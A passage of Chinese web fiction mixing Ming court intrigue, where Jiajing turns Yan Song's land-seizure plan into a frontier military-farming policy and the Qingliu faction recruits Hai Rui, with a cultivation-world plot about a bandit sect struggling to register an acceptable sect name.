严嵩欠了欠身,继续开口。 “此策,旨在强化边疆,同时繁荣农业,一举两得。” “其要义在于,边疆之地,多有荒芜,若能集民力,开垦耕种,既可自给自足,又可减轻国家财政之负担。” “具体而言,臣建议从各地大族手中征用闲置或未充分利用土地,用于边疆屯田。” “此举不仅可使边疆之地粮草丰足,亦能为我大明增添一处稳固之粮仓。” “同时,对于愿意参与屯田之民,应给予税收减免及各种奖励,以资鼓励。” “至于士绅大族,其土地虽暂为国所用,但国库充盈之时,必将给予适当补偿,以显公正。 “屯田兴农,实为国家长久之计,既能固边防,又能富民生,更可解国库之急。” 这是瞄上了士绅豪族的土地了啊。 嘉靖明白,严嵩看到奏本内容的第一时间,就想着要从哪里吃一块肥肉了。 “不过也好,如今卫所制崩溃,土地兼并这些问题的出现,导致军户不再屯田。” “倒是可以借此机会,顺水推舟,逐步恢复卫所制…嗯,倒不是说现如今已经逐步开始的募兵制不好,而是现在的财政不允许……” “就目前来说,强军政策还是卫所制更好,更省钱,但这也会触及到既得利益者的土地,也就是朝中清流以及背后的士绅大族……” “哒、哒、哒。”大殿上安静了下来,嘉靖的手指轻轻敲击着扶手。 清流一派此刻看向严嵩的目光中,似乎有择人而噬的血光在冒着,恨不得拼命! 严世蕃则是眼皮跳了跳,而后又兴奋了起来。 这次一刀下去,整個严家一系都要被抽干了,几百口子等着吃肉呢。 此时,他们已经管不了太多了。 选择饿死?还是奋力一搏,在清流和他们背后盘根错节,无人敢动的士绅大族不死不休? 这也是一道“生存策略题”,但答案已经告诉他们了,唯有四个字:别无选择! 众人的目光,丝毫影响不到严嵩,此时他垂着手,静静站在原地。 他看出来了,皇帝牺牲了玄修大业,重点是军需,那他就从最关键的边疆下手。 给皇帝一个让他无法拒绝的切实好处! 至于后果?自己也明摆着告诉皇帝,你不用管了,接下来,是自己一系和清流之间的厮杀,而最大的获益者,还会是你,陛下! 那么,皇帝没有道理不同意! 严嵩,不愧是严嵩,他太懂嘉靖了。 “既然严嵩敢把爪子伸向那些士绅大族,那说明他已经做好了不成功便成仁的准备。” “恢复卫所制唯一的麻烦,也是解决土地分配和士兵耕作意愿的问题……”想到这里,嘉靖心中轻笑,“何须朕来操心?” 想着,嘉靖手上动作一停,道:“严阁老好方略,不过朕想稍作修改。” 听到这熟悉的语调,清流一方心头希冀。 严世蕃呼吸一滞,眼神殷切的看着嘉靖,心中满是紧张。 上次改稻为桑的国策,就是这一句话,彻底让他们家没饭吃,还欠了一屁股债。 陛下更是借此机会,利用清流将他们家前后钉死,成了砧板鱼肉,逼他们不得不交钱。 现在,这是他们家不被饿死的唯一出路了,难道陛下就如此狠心?要赶尽杀绝? 清流一方则是心头暗喜。 陛下终究还是不会允许严党乱来的! 但只有徐阶低眉垂目,拳头微微攥紧,陛下不动清流,不动严党,怎么会让严党饿死? “请陛下示下。”严嵩微微欠身。 “……” 第三十四章 国策,屯兵兴农?圣明天纵,陛下神圣无瑕! “北边和东南的战事时有发生,天灾频发,导致我大明财政异常紧张。” “如今边疆军田荒废,土地荒芜、生产力下降、边防安全受到了极大影响。”嘉靖略一沉吟,“不如将屯田兴农,改成屯兵兴农。” “鼓励土地由边防军队参与耕种,恢复军田生产力,同时增强边防安全,确保粮食自给自足,以此减轻朝廷的财政负担。” “严阁老以为如何?” 听到这话,严嵩眼底闪过一抹精光,而后躬身道:“陛下目光长远,臣不及也。” 徐阶为首的清流等人,霎时间,心头如遭重击,顿时如泄了气的皮球一般。 陛下不但没有收拾严党,反而许了严嵩这厮提出的所谓的“屯田兴农”,不,现在应该叫“屯兵兴农”的国策了! 他们如何看不出,陛下这是要让已经崩溃的卫所制重新恢复,所以就顺水推舟了。 军田制是卫所制的经济支撑系统,而卫所制则是一个全面的军事管理体系。 正因为如此,它的崩溃,引起了一系列的连锁反应,最终结果就是反馈到了财政上。 而军田的荒废,又是直接导致卫所制崩盘的重要原因之一。 所以现如今大明开始了募兵制度,以此获得更为有战斗力的军队。 这也是财政的一大输出! 现在,陛下竟然想要盘活卫所制? 是!没错!卫所制恢复了,可以省下一大笔军需上的财政支出。 可是,可是,可是…不行啊! 这不是要割我们所有人的肉?! 军田为什么荒废?原因是多种多样的。 其中最大的一个因素,就是土地兼并,世家大族和地方豪强,利用朝中的力量,非法侵占军田,将其转化为私人财产! 而朝廷,自然对这种侵占行为的管控,没有什么力度,导致军田流失。 至于为什么没有管控力度?不必言说! 如今严嵩从陛下收割钱财,用作军需的目的,敏锐察觉到这是要增强军需以固边疆,所以就提出了这条毒辣的国策。 自家的陛下是个什么德行,他们可太清楚了。 说的不敬了,就是贪婪,自私的典型。 严嵩这个时候送上这么一条满足他内心想法的计策,他能不动心才怪? 一时间,众人对严嵩恨得牙根痒痒。 他们真的想立刻出言反对,可那十二沓奏本上土地兼并的问题,像是一种无言的警告。 现在,在这玉熙宫大殿的舞台上,他们清流才是被质询的奸臣,严家父子才是忠臣! 如今,已不宜再在明面上反对了。 只能干瞪眼看着严嵩这厮搅弄风雨! 不论是“屯兵兴农”也好,又或者是“屯田兴农”也罢,对严嵩来说都不重要。 因为他的目的是要从士绅豪族手里抢土地,以此来喂饱他和身后那一系。 现在,显然自己说到陛下心坎里,他对自己的国策动心了! “陛下圣明!”严世蕃心中对老爹这一举动,可以说是佩服的五体投地。 同时,他也为老爹的胆大而心惊。 陛下这才刚敲打了他们,老爹倒好,后脚就想着吃肉了 真是应了那句,撑死胆大的饿死胆小的。 最离谱的是,陛下竟然还允了! 奏本上记载的土地兼并问题,虽然没明说,可这也代表了陛下是意识到了这方面问题的。 这个时候,老爹竟然把主意打在了这上面…这,换做是他肯定不敢乱来了。 毕竟皇帝的态度还没明朗呢! “好了,此事就让兵部和户部共同督办,西厂要查账,这事就由东厂负责。” “六部中昨日被羁押的官员,你们内阁跟三法司共同督办,该罚罚,该贬贬。” “时候也不早了,朕就不留你们了。” 三言两语把昨天的事情处理扫尾后,嘉靖摆手送客。 “臣等告退。”严嵩等人纷纷对着嘉靖躬身行礼后,转身陆续离开了玉熙宫。 他们也需要回去好好消化一下了。 尤其是清流一方,原本以为舍弃部分商人,然后手填一笔让皇帝满意的数字就行了。 谁也没想到,严嵩这厮竟是個黑心的蛆,要割他们的肉,必须从长计议了! 司礼监的人只有吕芳一个人留了下来,毕竟他每天都要留在嘉靖身边守候。 “主子,事情算是圆满解决了。”吕芳上前笑着说道。 “沉疴积弊啊,”嘉靖叹息,起身走向偏殿,“这次不过是打了他们一个措手不及,狠割了一刀,下次可就没这么容易了。” 当然,说是这么说,但嘉靖心里倒是不怎么在意。 再隐蔽的账,都会被自己查出来。 清流,严党,在自己面前都是透明的,不一次连根拔起,不过是不到时候罢了,而且饭要一口口吃,有些事情欲速则不达。 吕芳跟在嘉靖身后,默默听着。 道理都懂,这次真的就是快刀斩乱麻了。 没有人料到陛下能狠下心拆除宫殿、停下所有玄修用度,让所有人判断失误。 直接雷霆手段,迅速出手,利用清流,堵死严嵩的退路,之后又对清流下手。 真的是风驰电掣,迅雷不及掩耳! 嗯,这也得益于主子陛下,闭眼视听天下,看穿一切,这才能让陆炳迅速查账。 否则,正常来说,根本不可能,你命令一下达,等到了地方,查账,少说半年起步。 那时候人家早都把账清了! 一般来说,这招只能用一次。 这次过后,那十二沓奏本上的一切,都会一笔勾销,所有的疑账,证据链都会清掉。 下一次再用同样的招,可就不灵验了,无论是清流还是严党,都会更加小心。 但是,他们真的能瞒得过陛下吗? 吕芳想到了那坐于宫中,闭眼视听大明天下的主子,心中微微摇头,表示否定。 举头三尺有神明,以后说的就是主子了,凡人岂能瞒得过仙神慧眼? “这次得到的钱,用于军需和赈灾款项后,眨眼间就会花光,财政问题始终没有解决。” “不过这些都是急不来的……” “主子如今得仙缘,再重的沉疴积弊也都不过是区区顽疾,”吕芳开始给嘉靖研墨,语气微微一顿后,道:“岁月,可抹平一切。” 听到这话,嘉靖手中笔微微一顿,而后不置可否的洒然一笑。 对,岁月可以抹平一切。 抽出之前写下的六大危机,心中略一沉吟,在第四条,卫所制崩溃上画了一个圈。 吕芳见此,想到了刚才提出的“屯兵兴农”的国策。 “你觉得,卫所制和募兵制,哪个好?”嘉靖没有看吕芳,喃喃自语问道。 他心中有一个事关未来的很大计划。 但是在做这件事之前,至少现在,他还不确定,要不要这么做。 一旦那条路踏上了,那么大明王朝,就彻底停不下来了,未来也看不到终点…… “这……”吕芳有些犯难了。 “罢了。”嘉靖抬手,示意吕芳不必说话,他本就不是真的在问吕芳。 这种事,当在自己心中做决断,岂能问人?谁又能做自己的主?无人! “慢慢来吧,”嘉靖心中轻呼一口气,“先尽可能的恢复卫所制,减轻财政负担,等经济稳定之后,再整顿吏治……” 想着,嘉靖暂时放下了国事。 “今日就是回来的第十五天了,也该回去了,今日之后朕就是修仙宗派的长老了。” 想到修仙世界,嘉靖心中操劳一扫而空。 “大明这边的事情,暂时算是告一段落,这次可以在修仙世界多待一段时间,争取突破到练气七层,达到练气后期!” “这边有什么事,随时可以通过本命来掌控,有问题可以直接回来……” 三更天后,夜色浓郁。 西苑内灯火通明,严嵩和严世蕃走在最后面,徐阶等清流一言不发,走在最前面。 “爹,今天开始,我们可就跟清流不死不休了。”严世蕃扶着严嵩,看着大雪道。 闻言,严嵩脚步微微一顿,佝偻着的身体微微挺直,抬头看着满天大雪。 “世藩,记住了,我们跟清流,永远不能和解,注定了你死我活。” “这也是陛下想要看到的啊。” “今天清流、我严家、还有陛下,三方默契登台,把这出戏唱完了。” “清流跟严党这么有默契,皇上会怎么想?”严嵩说着,又恢复了佝偻的身体,像是给严世蕃说,又像是给自己说,道: “我们的职责就是给陛下遮风挡雨,处处为陛下着想,陛下要钱,我们就给钱;陛下要土地,我们就给土地……” “圣明天纵,无过皇上。” “陛下是没有污点的,陛下是不会针对任何臣子的,陛下也是神圣无瑕的……” 宫阙下,灯火渐暗,风雪愈大。 严世蕃扶着似乎又恢复了垂垂老矣的老父亲,缓缓步入那黑暗的暴风雪之中。 佝偻着背的严嵩站在黑暗的风雪里,似有所感应,驻足回望那宫阙后的灯火。 蒙蒙风雪中,玉熙宫变得虚幻不清。 “爹,怎么了?” “世藩,你站在这里,能看清楚玉熙宫吗?” “雪太大了,看不清了……” “唉,”雪夜里,长长一声叹息,“回去吧……” “……” 第三十五章 一把清流驾驭不住的剑! 裕王府。 “如何了?”裕王对着从宫里打探到消息的小太监问道。 “结,结束了,”小太监知道裕王等的急,也顾不上身上的积雪,吞了口口水,道: “张阁老让奴婢告诉主子,让主子不要担心他们一切安好,明日自会前来王府相聚。” 听到小太监这么说,裕王心里狠狠松了口气。 心中的大石终于是落了下来。 他在朝中的派系就是清流,而他也靠着清流的支持,站稳脚跟和天下大义。 毕竟背靠清流背后的士绅大族,这些底蕴代表的是大明朝的上上下下官吏。 要是徐阶等人出事了,他可真就没了依靠。 “你下去吧,”这时,裕王妃李氏走了过来,屏退太监后,道:“王爷,既然张阁老他们说没事那就没事了,歇着吧?” “父皇果然是父皇啊……”裕王叹了口气,牵起李氏的手,朝着寝殿而去。 徐府,大堂里。 从玉熙宫出来,徐阶、高拱、张居正和赵贞吉几人并未第一时间回家,而是聚在了一起。 毕竟今天发生的事情太多了,多到他们即便是今天站了一天大半夜,也毫无困意。 一些事情,如果不立刻拿出个章程来,他们真的是睡觉都睡不踏实。 此外,大堂里除了他们四人外,还多了一人,年约三十岁出头的中年人。 这中年人并正式落座,跟张居正等人坐在一起,而是在徐阶身旁,案桌边上入座。 徐璠,徐阶的长子,现任工部侍郎。 “江浙两地之事今日在玉熙宫已经有定论,就不必讨论了,就说说派谁去吧?”徐阶摆手,给接下来的私人会议,定了个基调。 “既是彻查贪污受贿,地方官员和商人勾结走私,又不能让严党挑出毛病,”赵贞吉开始云了,“需找个可靠之人。” “而且这个人,还不能是我们的人,当然也不能是严党的人,必须是毫无派系之人,上哪找这么一个合适的人。”高拱叹气道。 上首位置上,徐阶沉默不语。 “我倒是有個人选。”这时,张居正似有所想,喝了一口热茶后,缓缓开口。 “谭纶前往杭州之前,曾在裕王府上辞行,当时说起改稻为桑国策时,他倒是顺嘴向裕王举荐过一个人,我认为此人可用。” “是谁?”高拱来了精神。 张居正在他们中,虽说谋略城府方面,还尚有余地,但在他看来,靠谱程度至少比赵贞吉这个只会云废话的要强不少。 能让张居正念念不忘的人,必然不凡。 “听闻此人事迹,定会让你们大吃一惊,”张居正微微一笑,也不等众人询问,而是起身开始踱步,念道:“夫母诞一子,必哺育……” 随着张居正幽幽之声响起,听着这篇文章,众人都是眼前微微一亮。 “……天道沦丧,人道丧,则大乱之源起…是以失田则无民,无民则亡国!” “好!”性格耿直,脾气火爆的高拱当即低呼一声,一番话听的他热血澎湃。 “叔大,此人是谁?”高拱询问道。 张居正微微一笑,坐在位子上,道:“此人,姓海名瑞,字汝贤,号刚峰。” “海瑞其人,而立之年中举,不惑之年两次进士落榜,在海南一个小县城做个教谕。” “别看他只是个负责科举的小官,但深入了解后就知此人向来以勇猛刚硬著称。” “若是用的好,便犹如宝剑出鞘,不论是此次出征定海和晋江,又或者日后对付严党,也能与之厮杀一番!” 说到日后对付严党,张居正早已是成竹在胸,心中全是谋划。 “呵,”说起海瑞,张居正似乎很是喜欢,疲惫的面容上,也多了几分轻松,“我这里倒有个关于此人的趣闻,说与你们听。” “在此人上任做教谕的第二年,正赶上上级下地视察,按惯例,官员齐齐下跪相迎,唯独海瑞只是简简单单做了个长揖。” “独立于官员之中,端端正正,活脱脱摆出了一个笔架的阵容,场面甚是有趣。” “此人,也因此在官场中,有了一个‘海笔架’的称呼,闻名官场!” 听到这里,众人都不由哼笑出声,似是看到了那滑稽的一幕。 之前严肃的气氛,这一刻倒是轻松不少。 众人也都能明白这是怎么回事,在大明开国之初,为了体现对教书先生、读书人的尊重,曾有规定在书院,学堂等地,可以不必对官员跪拜。 不过到了如今的时代,下面是个什么情况,这些官场人精也都明白。 现如今的大明,说句荒诞腐败,礼崩乐坏也丝毫不为过,教师、读书人的尊严? 在权力面前,早已什么都不是了。 这些教书育人的先生们,为了谄媚献上,什么令人不齿的事情都能做的出来。 像是海瑞这种坚守礼法,恪尽大明律法的人,反而成了一个异类,更因此被士大夫频频赞誉,将本是个戏称的海笔架,弄成了美名。 嗯,不得不说,这其中多少有些讽刺了。 这就好比,有人夸一个官员,竟然体恤民情,为官正廉一样。 这在正常的朝代,怕是能羞煞此人吧? “叔大说起这个‘海笔架’,我也略有耳闻。”赵贞吉点点头,而后又道:“只是我听闻,此人有些愚孝……” “此人幼年丧父,其对母之依恋无所能及,每月近半数时日,是伺候老母睡在一室,再加上海门三代单传,至今所出仅为一女。” “嗯,这等同于无后!” “须知其此行可不仅仅是定海晋江两县,还有江浙两地数县……” “虽说此行并不需要太大风险,都有专人安排打点,可日后若是派去边疆与严党厮杀,可谓是前途未卜,稍有不慎便会身死……” 闻言,张居正也是面容一肃。 “移孝作忠!”这时,上首位置的徐阶开口的同时,看向张居正,“太岳,你性深沉机警,多智数,乃是不出世之才。” “就由你,给海瑞修书一封,邀他这把宝剑出鞘,拯救万民于水火!” “我明白。”张居正肃容点头。 这一夜,徐阶,高拱,张居正商议了很晚,直到第二日天明。 想到今日还要去裕王府上论事,几人便在徐阶府上歇下。 直到当日酉时才醒,相继赶往裕王府议事。 嘉靖不知道,改稻为桑这条严嵩用来敛财填补亏空的国策,被自己用七条辅策钉死,不再会出乱子后,清流还是祭出了海瑞这把剑。 要不然,肯定要笑了。 这把剑,清流可驾驭不住! 一不小心,就会被他们给玩脱,那时候,稍有不慎就是上‘砍’内阁,下‘砍’臣民了…… “……” 第三十六章 特娘的,好名字都让狗取了! “咚!咚!” 天色渐暗,宫门口的暮鼓响起。 玉熙宫内嘉靖已经沐浴更衣完毕,当然,此时换上的依旧是之前那一套。 毕竟接下来,他是要去修仙世界的。 虽说之前在四方城买了不少衣物,但那都是刘权陪同之下购买,有哪些衣物刘权都知道。 整个黑风寨里,刘权身为军师,最是细心,为了不必要的麻烦,嘉靖自是要谨慎。 “接下来朕要开始闭关了,”嘉奖说着,走向精舍,吕芳跟在身后默默听着,“屯兵兴农、改稻为桑这两条国策,司礼监要盯好了。” “是,主子放心,”吕芳恭敬道:“边疆有黄锦负责的东厂盯着,奴婢也会帮衬着。” “改稻为桑,有胡宗宪坐镇江浙两地,加上有陈洪的西厂在,他向来是个更上心的,想必不会允许有什么乱子出现。” “嗯,”嘉靖点了点头,迈过道台,登上了精舍,“朕闭关的这些日子,不必再送饭食。若有需要,朕随时会叫你。” “你给朕守好了这玉熙宫,不准任何人打扰!”嘉靖的语气严肃。 “是,主子放心,只要奴婢还有一口气在,就绝不会允许任何人打扰主子。” “呵,”嘉靖笑了笑,正要让吕芳退下时,突然又道:“若朝中有紧急之事,只需每日在玉熙宫前祷告说明,朕自会知晓。” “主子玄修,百忙之余心系天下,奴婢百感交集!”吕芳说着,俯伏在地,大声道: “奴婢替苍生,叩谢太上大罗天仙/紫极长生圣智昭灵/统三元/证应玉虚/总管五雷大真人/玄都境/万寿帝君,主子陛下。” “愿主子陛下仙道坦途!” “好奴婢,”嘉靖脸上露出温和的笑,招了招手,待吕芳凑近后,压低声道: “玄圃宫那丫头,你照看着点,接下来她可要明白这国师尊位之重了。” “主子放心,”吕芳笑了笑,道:“奴婢省的。” “嗯,下去守着吧,等朕出关有你的赏!”嘉靖摆摆手,示意吕芳退下。 听到嘉靖说下次出关有赏后,吕芳心头不由狠狠一跳,当即越发恭敬的退下。 “哐当。” 当大殿关上的一瞬,嘉靖心中一动,从储物袋中拿出一张黄纸符箓。 “嗤!”指尖划动,灵气注入的瞬间,符箓陡然爆出一道璀璨的赤色光芒,“去!” 一声轻喝,符箓化作笔直的赤色长线,点入宫殿大门,继而一个玄奥的符文瞬间爬满宫门,而后闪过璀璨光芒后,隐而不见。 嘉靖使用的是一道下品禁制符箓。 他现在的修为,还有灵源储备,再加上大明不具备灵气,并不适合布阵,但使用符箓,给自己闭关之所布下禁制还是没问题的。 考虑到大明是一片灵气绝迹之地,灵气逸散严重,这道下品禁制符箓最多维持一个月,而在修仙世界,这东西少说维持三个月。 做完这一切后,嘉靖深吸一口气后,双眼缓缓闭上,下一刻周身荡起空间涟漪。 “呼。”呼吸到与大明完全不同的空气,还有那一股暖意,嘉靖嘴角含笑,睁开双眼。 “果然,第一次进入修仙世界,是身体在适应此界,第二次进入,却是没有任何不适,也不似先前那般,手脚不能动弹。” 心中想着,嘉靖环视了一圈自己的住处。 房间里没有任何异常,就连之前布在周身的禁制也都在,没有任何波动痕迹,显然自己离开的半月内,没有任何人打扰自己。 “之前刘权说开辟战争进入了尾声,最多半月,快的话还用不了,不知道如何了。” 想着,嘉靖抬手撤去了房间里的禁制,同时也关闭了院落的阵法,起身朝门外而去。 “虽然大明的空气也很清新,但跟这灵气充沛的世界相比,终究差了些。” 深吸了口气,嘉靖只觉得身心愉悦,浑身毛孔都隐隐有张开的感觉。 “嗖!”就在这时,只见天际飞来一道虹光落于门口,跟着敲门声就响起。 “啪啪啪!” 伴随着的还有刘权的略显沙哑的声音。 “先生,当家察觉到你住处阵法撤去,就命我过来了,还请先生开门,在下有事相商。” 之前撤去禁制的同时,解除了阵法,显然刘权他们是感应到了。 想着,嘉靖收拾心情,上前打开院门。 只见门口站着個干干瘦瘦,黑黢黢,身穿黑色粗布麻衣,袒露胸膛的中年男人。 依旧是那副不修边幅的模样。 一张黑黢黢的脸上,那泥点子似乎永远洗不干净一样。 木簪扎着松散的发髻,肥大宽厚的裤子上,还破了几个洞,脚下的草鞋露出黑乎乎的脚背。 一手挎着腰,一手在身后不停的抓呀抓,呲牙叼着一根干草的嘴角,噙着淡淡笑容。 不是别人,正是刘权! 不过唯一不同的是,他的右脸上多了道狰狞可怖的伤疤,似乎是被什么利刃划伤的。 一张痞笑的中年大叔脸上,平添了几分野性。 显然,这半个月的开辟战争,发生了很多事情。 “军师。”嘉靖笑着打了个招呼。 “先生,你总算是…”刘权说着,突然怔住,眯眼上下打量了眼嘉靖,“练气初期?” 对于刘权察觉到自己突破到练气期这点,嘉靖并不意外。 之前刘权可是练气七层的练气后期修士。 跟现在的自己比,足足高出五个小境界,能察觉到自己步入练气期并不是难事。 “嗯,”嘉靖面上含笑,道:“侥幸突破,练气二层。” 山寨这地方,虽然说英雄汉三位当家和刘权对自己始终礼遇有加,但不论哪里,终究以本事论处,修仙的世界,更是以实力说话。 因此对于自己的突破,嘉靖也不藏掖着。 听到嘉靖这么说,刘权眼皮一跳,这才多久?半个月吧?这就踏入练气二层了? 一介凡人,初次修炼,而且还是对于凡人来说,五六十岁的高龄,半月练气二层。 两个可能,要么本命不凡,要么资质逆天! 不过刘权更倾向于前者,如果本身资质逆天的话,不可能五六十岁了毫无修炼痕迹。 这位朱先生,或许真的不是大角星人士。 一瞬间的想法闪过,刘权也不再深究,还是那句话,每个人都有自己的秘密,他们如今聚在一起,组建宗派,只要不是细作即可。 这也是他们黑风寨的风格! “恭喜先生了!”刘权笑着拱手道贺。 “军师请。”嘉靖笑了笑,没有在这个问题上深究,错开身请刘权进院。 “不了不了,”刘权摆摆手,想起自己找嘉靖还有急事,也不墨迹,直言道: “先生,大当家感应到你这里阵法解开,就让我邀你过去商讨要事,老宋和柳老已经过去了,我们也赶紧过去吧。” 说着,他似乎想到了什么,语气一顿,又极为正式道:“不知先生可方便?” “好。”嘉靖也不推辞,点头答应。 “先生请!”见嘉靖答应,刘权脸上顿时露出笑容,伸手示意嘉靖先请。 高阶修士对低阶修士礼贤下士,当真是给足面子和尊重了,嘉靖自然也不会托大。 总的来说,黑风寨这伙人都很不错。 一伙山贼,求上进,爱读书,懂尊重,行为处事还大气,他们能在这个儒家规则统治下的大角星修仙界,走到如今开宗立派的地步。 可不仅仅是只实力就能行的。 一出门就看到了一张黑色毛毯,漂浮在一人高的半空。 飞行法宝! “嘿!”刘权笑着掐了个法诀,只见飞毯陡然放大,然后一跃跳了上去。 “先生,如何?这件下品飞行法器,可是我这次开辟战争中获得的战利品!” “攻防一体,虽然是下品法器,之前有人开出一百两灵源,我都没卖!” “别愣着了,上来,边走边说。”刘权说着,还拍了拍身旁的空处。 飞毯展开很大,坐三四个成年人不在话下。 “好。”嘉靖点了点头,随即凝聚起一丝灵气环绕脚下,轻巧地一跃,身形便平稳地落在了那张仅及半人高的飞毯之上。 “哗啦啦。”飘逸的帝王特制道袍甩动,当真是宛若谪仙般出尘,稳稳坐在刘权身旁。 “呵,”刘权满是唏嘘胡渣的嘴角勾起笑容,赞许道:“先生有谪仙之资!” 这份夸赞,嘉靖不置可否的一笑。 谪仙?不,要做也是做那真正的仙! “先生,走了!”话毕,刘权抬手在身旁拍了拍,飞毯轻轻一震,缓缓升起。 下一刻,二人周身升起一道灵气光罩,继而飞毯冲天而起,朝着黑风寨另一处山头而去。 黑风寨总共有三个山头。 远远看去,就像是一个“山”字。 中间是三位当家居住的地方,左边山峰则是军师和一些贵客的住处,右边则是山寨家眷居住之地,一般情况,外人是禁止入内的。 “呼呼呼。”飞毯在空中行驶,气流被灵气光罩隔绝,发出轰轰声响。 “嘭!”行至半道,刘权突然一拳砸在飞毯上,叼着干草,呲着牙,打开了话匣子。 “特娘的,好名字都让狗取了!” “……” 第三十七章 儒家治下的仙门 “额,先生勿怪。” 察觉到嘉靖投来的讶然目光,刘权意识到自己有辱斯文了,顿时收敛风格。 原本很是随意的坐姿,在说完后,也盘腿坐的端正起来。 “一家人,可以随意些。”嘉靖温和一笑,示意刘权不必拘谨。 “哎!”听到嘉靖这么说,刘权顿时露出个笑脸,应了一声。 不知道为什么,在嘉靖面前,他总能感受到莫名的威严,不是气势上的威严,而是那种独有的气质,总给人一种父一般的包容。 因此跟他在一起,会下意识的拘谨,注意言行举止,更不愿轻易眼神对视。 嗯,主要是担心突然被提问,或者是领悟不到他眼神中要表达的意思。 压下心中的想法,刘权又叹了口气,郁闷的吐出嘴里叼着的干草,道出了实情。 “宗派申请的问题。” “先生有所不知,开宗立派要在统治该区域的书院登记,填写书院请牒后才能建立宗门。” “这问题就出在了书院请牒上!”说着,刘权抬手,拿出一块巴掌大小的玉牌。 一道柔和的白光从玉牌上跃出,而后悬于半空,化作洋洋洒洒,一左一右两篇文字。 左边那篇写的是【白马书院牒文】六个大字,右边那篇写的是【宗门立派启请牒】。 “先生,您自己看吧,”刘权一边叹息一边开口,“之前出征的时候,我就把宗派名字,掌门,长老成员全都拟好,发给了白马书院……” 大角星修行界,没有王朝的概念。 一个个强大的儒家书院,统御一片片疆域,此外就是一片片未经开发,人迹罕至,由各种古兽统御的荒芜之地。 而东荒这片地域,就隶属于白马书院统辖,所以想要开宗立派,就必须得到书院的首肯。 听着刘权的抱怨,嘉靖抬头朝着半空中,左边的牒文先看去。 “本想着开辟战争结束的第一时间,就能在书院那边登记,正式开宗立派了。” “结果其他都没问题,宗派名字上给卡了,”刘权也是抬头,一阵呲牙咧嘴,“原本大当家想的是还叫黑风寨。” “也算是不忘本了!” “我报的也是黑风寨这个名!” 嘉靖闻言,看了他一眼,微微摇头,仙门宗派,“黑风寨”这個名字,确实不上台面了。 目光继续朝着上方的牒文看去。 【白马书院牒文】 【敬启者,吾书院,秉承儒宗之训,立教化之功,掌修仙界之纲纪,司宗门立派之审批。 兹有,诸位贤达欲立新宗,必先呈牒,以昭宗门之正统,显修行之宏旨。】 【维,甲子之岁,孟春之月,庚午之日,白马书院秉圣贤之训,昭告宇内修士: 万物皆由至简之道而生。 吾辈修士,皆欲溯本清源,以期返璞归真。 然则,大道隐于形而现于言,是以白马书院特颁牒文,敕命诸宗门自撰名号,自择法脉,以彰其德,以扬其名。 夫名号者,非徒言辞之凑泊,实乃宗门精神之所系,修士意志之所凝。 需得体庄重,涵义深远,音韵和谐,情感真诚。勿取轻浮俗艳之名,亦勿拘泥于儒之仁义、释之慈悲、道之清净之表象。 唯求能深入人心,提振宗风。 尔等宗门,务须于乙丑之岁,秋风初起,壬子之辰,将尔等精心构思之名号与法脉,缮写于清册,遣使呈递于白马书院。 我院接牒后,将择吉日,集诸学士,公议审定。一经采纳,即颁行于天下,垂范万世。 尔等宗门,当虔诚奉行! 修士者,当知言语之重,乃天地之精华,人心之灵光。慎言以敬道,诚心以待人,方能得天之助,得人之敬,得己之安。 是故,吾等期待尔等宗门,能以一言而兴邦,以一言而泽民,以一言而光耀千古。 甲子之岁,孟春之月,庚午之日。】 一眼看完这篇牒文,基本上就是一个意思,开宗立派的一些要求。 重点就两个,取名不能太随意,要庄重得体,但也不必过分拘泥。 嗯,黑风寨这种一听,明显就是山寨的宗派名,自然是不被注重体统的儒家所接受。 嘉靖又看向第二篇。 嗯,第二篇类似于申请表格。 刘权还在喋喋不休的发着牢骚。 “结果开辟战争还没结束呢,申请就被书院打回,说是宗派名字审核不通过,原因是有伤风化,有辱斯文,不得体统……” 刘权说着,急的拍手,似乎想要从嘉靖这里寻得认同,道:“先生你说,叫黑风寨,怎么就有伤风化,有辱斯文了?” “呵,”嘉靖笑了笑,没接话,一边听着刘权的抱怨,一边看向请牒内容。 【宗门概要】 名号:恭请详注。 所在:敬禀所在之地。 宗门始创人氏:敬述宗门开创之先贤。 宗门现今掌教:敬陈现今执掌宗门之长者。 【修行法脉】 宗门法脉:详述贵宗所循修行之径,儒、释、道三教,或者剑修、御兽、丹、器、符、阵等及其他独特之法门。 【宗门雅章】:敬请附上。 【门人状况】 弟子构成:敬陈弟子之数。概说贵宗弟子之等级架构、修行阶段与年龄分布。 【宗门传承】 核心功法:列述贵宗功法传承。 师徒授受:述贵宗之师徒传承,含入门之仪、晋阶之规等。 【宗门印信】:敬请附上。 【牒文成稿之日】:以呈递书院之日为凭。 看完请牒后,嘉靖心中倒是没有什么感触,这些相比于朝臣人事任命,简单多了。 “不行就不行了,”刘权摇头叹息,“那就换一个呗,多大点事儿?” “谨慎起见,就想着跟黄风谷那帮废物一样,既能保留黑风二字,不至于忘本,又符合修仙宗派的名字,取名黑风谷…呵!” 听到这里,嘉靖也不禁莞尔。 “嘿!重复了,黑风谷这名有人用了!”说到这里,刘权几乎都要气笑了。 “之后,又相继取了‘补天阁’、‘青云门’、‘云澜宗’、‘黑风教’……”刘权开始掰着手指头给嘉靖数着取名的痛苦。 “最后柳老给取名小玄派,玄代表黑,也算暗合我黑风寨,诶?通过了!” 小玄派,这名字确实生僻,但也不好听。 “可是这名字也太那啥了,总不能为了过审,就随便将就着用吧?说出去,天生就矮那些大玄派、大玄宗、大玄山,大玄门一头。” “嗯,甚至就连小玄宗、小玄山听起来,都要比咱这好听,有味道。” “而且还有新的问题,比如那什么,”刘权指着请牒,叹气道:“这宗门雅章可就难办了,这东西说白了就是儒家遵循的礼乐奏章。” “一般情况下,也就建宗的时候需要用到,像是大、中、小型宗门,根本用不到。” “只有那些盘亘了数万年的超级大宗,才会有这些日常的繁琐东西。” “这东西,说白了就是个仪式,但新建宗派却是必须有,说是关系到宗门法统。” “比方说,如果三代以后,咱们的宗门被人灭了,有后人流落在外,以后想要建宗了,就可以去找书院取出这些东西,传承香火……” “不过我可没听说,有哪个宗门被灭后,流落在外的后人还会找书院认领法统。” “哪个不是重新开宗立派,重立法统?”说着,刘权摇摇头,道: “不过说这些都还远,叫先生过去,也是看看,能不能根据小玄派,编一套乐章来。当然,如果能有更好的名字,那就更好了。” “实在没办法,也只能请书院的人帮忙了。”说着,刘权脸上满是抗拒之色。 “先生要知道,新宗派从书院申请花了一万两灵源、选址是大头,足足花了十八万两买下了个有低等灵脉汇聚的山门。” “杂七杂八的,还要给这次开辟战争的兄弟们奖赏,采办一些必需品……” “短短半月,咱们就已经花了将近五十万两灵源,这些年积攒下的积蓄全搭进去了!” 